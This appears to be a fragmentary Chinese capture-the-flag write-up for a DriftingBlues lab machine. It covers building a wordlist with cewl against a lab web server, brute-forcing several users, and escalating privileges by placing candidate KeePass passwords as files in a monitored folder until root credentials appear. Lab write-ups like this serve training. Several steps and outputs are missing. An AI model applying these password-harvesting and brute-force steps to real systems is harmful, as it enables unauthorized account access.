爆破

尝试使用rockyou和网页上爬取生成的字典对几个用户进行爆破：

echo 'abuzerkomurcu\ngill\ncollins\nsatanic\ngadd' > user.txt
cewl http://172.20.10.4/ -d 2 -m 6 -w pass.txt --with-numbers
# -d 2 递归两层
# -m 最小密码长度
# --with-number 密码可以带数字

cewl比较适合做国外的靶场，结果比较好，然后爆破一下：

Keepass Password Database 2.x KDBX 是KeePass密码管理器版本2.x所使用的数据库文件格式。KeePass是一个可以在多个操作系统（如Windows、MAC、Linux等）以及移动设备上运行的密码管理器。它使用高度加密的数据库来存储口令，这些口令通过一个主密钥文件锁定。即使老版本的KeePass使用的是KDB文件，它们仍然可以用来打开KDBX文件。简而言之，KDBX文件是KeePass版本2.x的密码数据库文件，用于安全地存储和管理用户的密码信息。

不知道要找啥，看一下wp，发现逻辑可能是检测keyfolder是否存在密钥，如果存在的话，就把密码丢进去。。

得一个一个试，只有一个密码是我们想要的，尝试全部创建试一下：

buddyretard
2read4surreal
closet313
fracturedocean
exalted

zakkwylde我已经试过了，不行，一起全传上去也不行：

(remote) gill@driftingblues:/$ cd keyfolder/
(remote) gill@driftingblues:/keyfolder$ touch zakkwylde
(remote) gill@driftingblues:/keyfolder$ cd /tmp

那只能一个一个来了：

(remote) gill@driftingblues:/keyfolder$ ls
2read4surreal  buddyretard  closet313  exalted  fracturedocean
(remote) gill@driftingblues:/keyfolder$ rm 2read4surreal buddyretard closet313 exalted

(remote) gill@driftingblues:/keyfolder$ rm 2read4surreal 
(remote) gill@driftingblues:/keyfolder$ touch closet313
(remote) gill@driftingblues:/keyfolder$ ls

(remote) gill@driftingblues:/keyfolder$ ls

(remote) gill@driftingblues:/keyfolder$ rm closet313 
(remote) gill@driftingblues:/keyfolder$ touch fracturedocean
(remote) gill@driftingblues:/keyfolder$ ls

(remote) gill@driftingblues:/keyfolder$ ls

(remote) gill@driftingblues:/keyfolder$ cat rootcreds.txt

fi

rm logdel2 
shutdown -h now

拿到flag。。。。。
